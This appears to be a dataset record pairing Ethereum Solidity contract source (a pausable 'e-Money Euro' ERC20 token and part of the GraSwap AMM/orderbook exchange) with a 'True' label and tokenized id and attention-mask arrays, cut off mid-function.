modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
abstract contract ERC20Pausable is ERC20, Pausable {
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
contract ERC20PresetMinterPauser is
Context,
AccessControl,
ERC20Burnable,
ERC20Pausable
{
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
constructor(string memory name, string memory symbol)
public
ERC20(name, symbol)
{
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
function mint(address to, uint256 amount) public virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC20PresetMinterPauser: must have minter role to mint"
);
_mint(to, amount);
}
function pause() public virtual {
require(
hasRole(PAUSER_ROLE, _msgSender()),
"ERC20PresetMinterPauser: must have pauser role to pause"
);
_pause();
}
function unpause() public virtual {
require(
hasRole(PAUSER_ROLE, _msgSender()),
"ERC20PresetMinterPauser: must have pauser role to unpause"
);
_unpause();
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20, ERC20Pausable) {
super._beforeTokenTransfer(from, to, amount);
}
}
abstract contract EMToken is ERC20PresetMinterPauser {
constructor(string memory name, string memory symbol)
public
ERC20PresetMinterPauser(name, symbol)
{
_setupDecimals(6);
}
function burn(uint256 amount) public override {
require(
hasRole(MINTER_ROLE, _msgSender()),
"ERC20PresetMinterPauser: must have minter role to burn"
);
super.burn(amount);
}
}
contract eEUR is EMToken {
constructor() public EMToken("e-Money Euro", "EEUR") {}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5709,
1011,
6021,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1022,
1025,
3075,
4372,
17897,
16670,
13462,
1063,
2358,
6820,
6593,
2275,
1063,
27507,
16703,
1031,
1033,
1035,
5300,
1025,
12375,
1006,
27507,
16703,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
1035,
5950,
2229,
1025,
1065,
3853,
1035,
5587,
1006,
2275,
5527,
2275,
1010,
27507,
16703,
3643,
1007,
2797,
5651,
1006,
22017,
2140,
1007,
1063,
2065,
1006,
999,
1035,
3397,
1006,
2275,
1010,
3643,
1007,
1007,
1063,
2275,
1012,
1035,
5300,
1012,
5245,
1006,
3643,
1007,
1025,
2275,
1012,
1035,
5950,
2229,
1031,
3643,
1033,
1027,
2275,
1012,
1035,
5300,
1012,
3091,
1025,
2709,
2995,
1025,
1065,
2842,
1063,
2709,
6270,
1025,
1065,
1065,
3853,
1035,
6366,
1006,
2275,
5527,
2275,
1010,
27507,
16703,
3643,
1007,
2797,
5651,
1006,
22017,
2140,
1007,
1063,
21318,
3372,
17788,
2575,
3643,
22254,
10288,
1027,
2275,
1012,
1035,
5950,
2229,
1031,
3643,
1033,
1025,
2065,
1006,
3643,
22254,
10288,
999,
1027,
1014,
1007,
1063,
21318,
3372,
17788,
2575,
28681,
12260,
9589,
3207,
2595,
1027,
3643,
22254,
10288,
1011,
1015,
1025,
21318,
3372,
17788,
2575,
2197,
22254,
10288,
1027,
2275,
1012,
1035,
5300,
1012,
3091,
1011,
1015,
1025,
27507,
16703,
2197,
10175,
5657,
1027,
2275,
1012,
1035,
5300,
1031,
2197,
22254,
10288,
1033,
1025,
2275,
1012,
1035,
5300,
1031,
28681,
12260,
9589,
3207,
2595,
1033,
1027,
2197,
10175,
5657,
1025,
2275,
1012,
1035,
5950,
2229,
1031,
2197,
10175,
5657,
1033,
1027,
28681,
12260,
9589,
3207,
2595,
1009,
1015,
1025,
2275,
1012,
1035,
5300,
1012,
3769,
1006,
1007,
1025,
3972,
12870,
2275,
1012,
1035,
5950,
2229,
1031,
3643,
1033,
1025,
2709,
2995,
1025,
1065,
2842,
1063,
2709,
6270,
1025,
1065,
1065,
3853,
1035,
3397,
1006,
2275,
5527,
2275,
1010,
27507,
16703,
3643,
1007,
2797,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
2275,
1012,
1035,
5950,
2229,
1031,
3643,
1033,
999,
1027,
1014,
1025,
1065,
3853,
1035,
3091,
1006,
2275,
5527,
2275,
1007,
2797,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2709,
2275,
1012,
1035,
5300,
1012,
3091,
1025,
1065,
3853,
1035,
2012,
1006,
2275,
5527,
2275,
1010,
21318,
3372,
17788,
2575,
5950,
1007,
2797,
3193,
5651,
1006,
27507,
16703,
1007,
1063,
5478,
1006,
2275,
1012,
1035,
5300,
1012,
3091,
1028,
5950,
1010,
1000,
4372,
17897,
16670,
13462,
1024,
5950,
2041,
1997,
19202,
1000,
1007,
1025,
2709,
2275,
1012,
1035,
5300,
1031,
5950,
1033,
1025,
1065,
2358,
6820,
6593,
27507,
16703,
13462,
1063,
2275,
1035,
5110,
1025,
1065,
3853,
5587,
1006,
27507,
16703,
13462,
5527,
2275,
1010,
27507,
16703,
3643,
1007,
4722,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
1035,
5587,
1006,
2275,
1012,
1035,
5110,
1010,
3643,
1007,
1025,
1065,
3853,
6366,
1006,
27507,
16703,
13462,
5527,
2275,
1010,
27507,
16703,
3643,
1007,
4722,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
1035,
6366,
1006,
2275,
1012,
1035,
5110,
1010,
3643,
1007,
1025,
1065,
3853,
3397,
1006,
27507,
16703,
13462,
5527,
2275,
1010,
27507,
16703,
3643,
1007,
4722,
3193,
5651,
1006,
22017,
2140,
1007,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-02-06
*/
// SPDX-License-Identifier: GPL
pragma solidity 0.6.12;
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library SafeMath256 {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
This library defines a decimal floating point number. It has 8 decimal significant digits. Its maximum value is 9.9999999e+15.
And its minimum value is 1.0e-16. The following golang code explains its detail implementation.
func buildPrice(significant int, exponent int) uint32 {
if !(10000000 <= significant && significant <= 99999999) {
panic("Invalid significant")
}
if !(-16 <= exponent && exponent <= 15) {
panic("Invalid exponent")
}
return uint32(((exponent+16)<<27)|significant);
}
func priceToFloat(price uint32) float64 {
exponent := int(price>>27)
significant := float64(price&((1<<27)-1))
return significant * math.Pow10(exponent-23)
}
*/
// A price presented as a rational number
struct RatPrice {
uint numerator; // at most 54bits
uint denominator; // at most 76bits
}
library DecFloat32 {
uint32 public constant MANTISSA_MASK = (1<<27) - 1;
uint32 public constant MAX_MANTISSA = 9999_9999;
uint32 public constant MIN_MANTISSA = 1000_0000;
uint32 public constant MIN_PRICE = MIN_MANTISSA;
uint32 public constant MAX_PRICE = (31<<27)|MAX_MANTISSA;
// 10 ** (i + 1)
function powSmall(uint32 i) internal pure returns (uint) {
uint x = 2695994666777834996822029817977685892750687677375768584125520488993233305610;
return (x >> (32*i)) & ((1<<32)-1);
}
// 10 ** (i * 8)
function powBig(uint32 i) internal pure returns (uint) {
uint y = 3402823669209384634633746076162356521930955161600000001;
return (y >> (64*i)) & ((1<<64)-1);
}
// if price32=( 0<<27)|12345678 then numerator=12345678 denominator=100000000000000000000000
// if price32=( 1<<27)|12345678 then numerator=12345678 denominator=10000000000000000000000
// if price32=( 2<<27)|12345678 then numerator=12345678 denominator=1000000000000000000000
// if price32=( 3<<27)|12345678 then numerator=12345678 denominator=100000000000000000000
// if price32=( 4<<27)|12345678 then numerator=12345678 denominator=10000000000000000000
// if price32=( 5<<27)|12345678 then numerator=12345678 denominator=1000000000000000000
// if price32=( 6<<27)|12345678 then numerator=12345678 denominator=100000000000000000
// if price32=( 7<<27)|12345678 then numerator=12345678 denominator=10000000000000000
// if price32=( 8<<27)|12345678 then numerator=12345678 denominator=1000000000000000
// if price32=( 9<<27)|12345678 then numerator=12345678 denominator=100000000000000
// if price32=(10<<27)|12345678 then numerator=12345678 denominator=10000000000000
// if price32=(11<<27)|12345678 then numerator=12345678 denominator=1000000000000
// if price32=(12<<27)|12345678 then numerator=12345678 denominator=100000000000
// if price32=(13<<27)|12345678 then numerator=12345678 denominator=10000000000
// if price32=(14<<27)|12345678 then numerator=12345678 denominator=1000000000
// if price32=(15<<27)|12345678 then numerator=12345678 denominator=100000000
// if price32=(16<<27)|12345678 then numerator=12345678 denominator=10000000
// if price32=(17<<27)|12345678 then numerator=12345678 denominator=1000000
// if price32=(18<<27)|12345678 then numerator=12345678 denominator=100000
// if price32=(19<<27)|12345678 then numerator=12345678 denominator=10000
// if price32=(20<<27)|12345678 then numerator=12345678 denominator=1000
// if price32=(21<<27)|12345678 then numerator=12345678 denominator=100
// if price32=(22<<27)|12345678 then numerator=12345678 denominator=10
// if price32=(23<<27)|12345678 then numerator=12345678 denominator=1
// if price32=(24<<27)|12345678 then numerator=123456780 denominator=1
// if price32=(25<<27)|12345678 then numerator=1234567800 denominator=1
// if price32=(26<<27)|12345678 then numerator=12345678000 denominator=1
// if price32=(27<<27)|12345678 then numerator=123456780000 denominator=1
// if price32=(28<<27)|12345678 then numerator=1234567800000 denominator=1
// if price32=(29<<27)|12345678 then numerator=12345678000000 denominator=1
// if price32=(30<<27)|12345678 then numerator=123456780000000 denominator=1
// if price32=(31<<27)|12345678 then numerator=1234567800000000 denominator=1
function expandPrice(uint32 price32) internal pure returns (RatPrice memory) {
uint s = price32&((1<<27)-1);
uint32 a = price32 >> 27;
RatPrice memory price;
if(a >= 24) {
uint32 b = a - 24;
price.numerator = s * powSmall(b);
price.denominator = 1;
} else if(a == 23) {
price.numerator = s;
price.denominator = 1;
} else {
uint32 b = 22 - a;
price.numerator = s;
price.denominator = powSmall(b&0x7) * powBig(b>>3);
}
return price;
}
function getExpandPrice(uint price) internal pure returns(uint numerator, uint denominator) {
uint32 m = uint32(price) & MANTISSA_MASK;
require(MIN_MANTISSA <= m && m <= MAX_MANTISSA, "Invalid Price");
RatPrice memory actualPrice = expandPrice(uint32(price));
return (actualPrice.numerator, actualPrice.denominator);
}
}
library ProxyData {
uint public constant COUNT = 5;
uint public constant INDEX_FACTORY = 0;
uint public constant INDEX_MONEY_TOKEN = 1;
uint public constant INDEX_STOCK_TOKEN = 2;
uint public constant INDEX_GRA = 3;
uint public constant INDEX_OTHER = 4;
uint public constant OFFSET_PRICE_DIV = 0;
uint public constant OFFSET_PRICE_MUL = 64;
uint public constant OFFSET_STOCK_UNIT = 64+64;
uint public constant OFFSET_IS_ONLY_SWAP = 64+64+64;
function factory(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_FACTORY]);
}
function money(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_MONEY_TOKEN]);
}
function stock(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_STOCK_TOKEN]);
}
function graContract(uint[5] memory proxyData) internal pure returns (address) {
return address(proxyData[INDEX_GRA]);
}
function priceMul(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_MUL);
}
function priceDiv(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_PRICE_DIV);
}
function stockUnit(uint[5] memory proxyData) internal pure returns (uint64) {
return uint64(proxyData[INDEX_OTHER]>>OFFSET_STOCK_UNIT);
}
function isOnlySwap(uint[5] memory proxyData) internal pure returns (bool) {
return uint8(proxyData[INDEX_OTHER]>>OFFSET_IS_ONLY_SWAP) != 0;
}
function fill(uint[5] memory proxyData, uint expectedCallDataSize) internal pure {
uint size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := calldatasize()
}
require(size == expectedCallDataSize, "INVALID_CALLDATASIZE");
// solhint-disable-next-line no-inline-assembly
assembly {
let offset := sub(size, 160)
calldatacopy(proxyData, offset, 160)
}
}
}
interface IGraSwapFactory {
event PairCreated(address indexed pair, address stock, address money, bool isOnlySwap);
function createPair(address stock, address money, bool isOnlySwap) external returns (address pair);
function setFeeToAddresses(address) external;
function setFeeToSetter(address) external;
function setFeeBPS(uint32 bps) external;
function setPairLogic(address implLogic) external;
function allPairsLength() external view returns (uint);
function feeTo_1() external view returns (address);
function feeTo_2() external view returns (address);
function feeToPrivate() external view returns (address);
function feeToSetter() external view returns (address);
function feeBPS() external view returns (uint32);
function pairLogic() external returns (address);
function getTokensFromPair(address pair) external view returns (address stock, address money);
function tokensToPair(address stock, address money, bool isOnlySwap) external view returns (address pair);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IGraSwapBlackList {
// event OwnerChanged(address);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddedBlackLists(address[]);
event RemovedBlackLists(address[]);
function owner()external view returns (address);
// function newOwner()external view returns (address);
function isBlackListed(address)external view returns (bool);
// function changeOwner(address ownerToSet) external;
// function updateOwner() external;
function transferOwnership(address newOwner) external;
function addBlackLists(address[] calldata accounts)external;
function removeBlackLists(address[] calldata accounts)external;
}
interface IGraWhiteList {
event AppendWhiter(address adder);
event RemoveWhiter(address remover);
function appendWhiter(address account) external;
function removeWhiter(address account) external;
function isWhiter(address account) external;
function isNotWhiter(address account) external;
}
interface IGraSwapToken is IERC20, IGraSwapBlackList{
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function increaseAllowance(address spender, uint256 addedValue) external returns (bool);
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool);
// function multiTransfer(uint256[] calldata mixedAddrVal) external returns (bool);
function batchTransfer(address[] memory addressList, uint256[] memory amountList) external returns (bool);
}
interface IGraSwapERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IGraSwapPool {
// more liquidity was minted
event Mint(address indexed sender, uint stockAndMoneyAmount, address indexed to);
// liquidity was burned
event Burn(address indexed sender, uint stockAndMoneyAmount, address indexed to);
// amounts of reserved stock and money in this pair changed
event Sync(uint reserveStockAndMoney);
function internalStatus() external view returns(uint[3] memory res);
function getReserves() external view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID);
function getBooked() external view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID);
function stock() external returns (address);
function money() external returns (address);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint stockAmount, uint moneyAmount);
function skim(address to) external;
function sync() external;
}
interface IGraSwapPair {
event NewLimitOrder(uint data); // new limit order was sent by an account
event NewMarketOrder(uint data); // new market order was sent by an account
event OrderChanged(uint data); // old orders in orderbook changed
event DealWithPool(uint data); // new order deal with the AMM pool
event RemoveOrder(uint data); // an order was removed from the orderbook
// Return three prices in rational number form, i.e., numerator/denominator.
// They are: the first sell order's price; the first buy order's price; the current price of the AMM pool.
function getPrices() external returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator);
// This function queries a list of orders in orderbook. It starts from 'id' and iterates the single-linked list, util it reaches the end,
// or until it has found 'maxCount' orders. If 'id' is 0, it starts from the beginning of the single-linked list.
// It may cost a lot of gas. So you'd not to call in on chain. It is mainly for off-chain query.
// The first uint256 returned by this function is special: the lowest 24 bits is the first order's id and the the higher bits is block height.
// THe other uint256s are all corresponding to an order record of the single-linked list.
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external view returns (uint[] memory);
// remove an order from orderbook and return its booked (i.e. frozen) money to maker
// 'id' points to the order to be removed
// prevKey points to 3 previous orders in the single-linked list
function removeOrder(bool isBuy, uint32 id, uint72 positionID) external;
function removeOrders(uint[] calldata rmList) external;
// Try to deal a new limit order or insert it into orderbook
// its suggested order id is 'id' and suggested positions are in 'prevKey'
// prevKey points to 3 existing orders in the single-linked list
// the order's sender is 'sender'. the order's amount is amount*stockUnit, which is the stock amount to be sold or bought.
// the order's price is 'price32', which is decimal floating point value.
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32, uint32 id, uint72 prevKey) external payable;
// Try to deal a new market order. 'sender' pays 'inAmount' of 'inputToken', in exchange of the other token kept by this pair
function addMarketOrder(address inputToken, address sender, uint112 inAmount) external payable returns (uint);
// Given the 'amount' of stock and decimal floating point price 'price32', calculate the 'stockAmount' and 'moneyAmount' to be traded
function calcStockAndMoney(uint64 amount, uint32 price32) external pure returns (uint stockAmount, uint moneyAmount);
}
abstract contract GraSwapERC20 is IGraSwapERC20 {
using SafeMath256 for uint;
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked = 1;
modifier lock() {
require(_unlocked == 1, "GraSwap: LOCKED");
_unlocked = 0;
_;
_unlocked = 1;
}
string private constant _NAME = "GraSwap-Share";
uint8 private constant _DECIMALS = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
function symbol() virtual external override returns (string memory);
function name() external view override returns (string memory) {
return _NAME;
}
function decimals() external view override returns (uint8) {
return _DECIMALS;
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != uint(- 1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
}
// An order can be compressed into 256 bits and saved using one SSTORE instruction
// The orders form a single-linked list. The preceding order points to the following order with nextID
struct Order { //total 256 bits
address sender; //160 bits, sender creates this order
uint32 price; // 32-bit decimal floating point number
uint64 amount; // 42 bits are used, the stock amount to be sold or bought
uint32 nextID; // 22 bits are used
}
// When the match engine of orderbook runs, it uses follow context to cache data in memory
struct Context {
// this order is a limit order
bool isLimitOrder;
// the new order's id, it is only used when a limit order is not fully dealt
uint32 newOrderID;
// for buy-order, it's remained money amount; for sell-order, it's remained stock amount
uint remainAmount;
// it points to the first order in the opposite order book against current order
uint32 firstID;
// it points to the first order in the buy-order book
uint32 firstBuyID;
// it points to the first order in the sell-order book
uint32 firstSellID;
// the amount goes into the pool, for buy-order, it's money amount; for sell-order, it's stock amount
uint amountIntoPool;
// the total dealt money and stock in the order book
uint dealMoneyInBook;
uint dealStockInBook;
// cache these values from storage to memory
uint reserveMoney;
uint reserveStock;
uint bookedMoney;
uint bookedStock;
// reserveMoney or reserveStock is changed
bool reserveChanged;
// the taker has dealt in the orderbook
bool hasDealtInOrderBook;
// the current taker order
Order order;
// the following data come from proxy
uint64 stockUnit;
uint64 priceMul;
uint64 priceDiv;
address stockToken;
address moneyToken;
address graContract;
address factory;
}
// GraSwapPair combines a Uniswap-like AMM and an orderbook
abstract contract GraSwapPool is GraSwapERC20, IGraSwapPool {
using SafeMath256 for uint;
uint private constant _MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 internal constant _SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
// reserveMoney and reserveStock are both uint112, id is 22 bits; they are compressed into a uint256 word
uint internal _reserveStockAndMoneyAndFirstSellID;
// bookedMoney and bookedStock are both uint112, id is 22 bits; they are compressed into a uint256 word
uint internal _bookedStockAndMoneyAndFirstBuyID;
uint private _kLast;
uint32 private constant _OS = 2; // owner's share
uint32 private constant _LS = 3; // liquidity-provider's share
function internalStatus() external override view returns(uint[3] memory res) {
res[0] = _reserveStockAndMoneyAndFirstSellID;
res[1] = _bookedStockAndMoneyAndFirstBuyID;
res[2] = _kLast;
}
function stock() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.stock(proxyData);
}
function money() external override returns (address) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
return ProxyData.money(proxyData);
}
// the following 4 functions load&store compressed storage
function getReserves() public override view returns (uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) {
uint temp = _reserveStockAndMoneyAndFirstSellID;
reserveStock = uint112(temp);
reserveMoney = uint112(temp>>112);
firstSellID = uint32(temp>>224);
}
function _setReserves(uint stockAmount, uint moneyAmount, uint32 firstSellID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "GraSwap: OVERFLOW");
uint temp = (moneyAmount<<112)|stockAmount;
emit Sync(temp);
temp = (uint(firstSellID)<<224)| temp;
_reserveStockAndMoneyAndFirstSellID = temp;
}
function getBooked() public override view returns (uint112 bookedStock, uint112 bookedMoney, uint32 firstBuyID) {
uint temp = _bookedStockAndMoneyAndFirstBuyID;
bookedStock = uint112(temp);
bookedMoney = uint112(temp>>112);
firstBuyID = uint32(temp>>224);
}
function _setBooked(uint stockAmount, uint moneyAmount, uint32 firstBuyID) internal {
require(stockAmount < uint(1<<112) && moneyAmount < uint(1<<112), "GraSwap: OVERFLOW");
_bookedStockAndMoneyAndFirstBuyID = (uint(firstBuyID)<<224)|(moneyAmount<<112)|stockAmount;
}
function _myBalance(address token) internal view returns (uint) {
if(token==address(0)) {
return address(this).balance;
} else {
return IERC20(token).balanceOf(address(this));
}
}
// safely transfer ERC20 tokens, or ETH (when token==0)
function _safeTransfer(address token, address to, uint value, address graContract) internal {
if(value==0) {return;}
if(token==address(0)) {
// limit gas to 9000 to prevent gastoken attacks
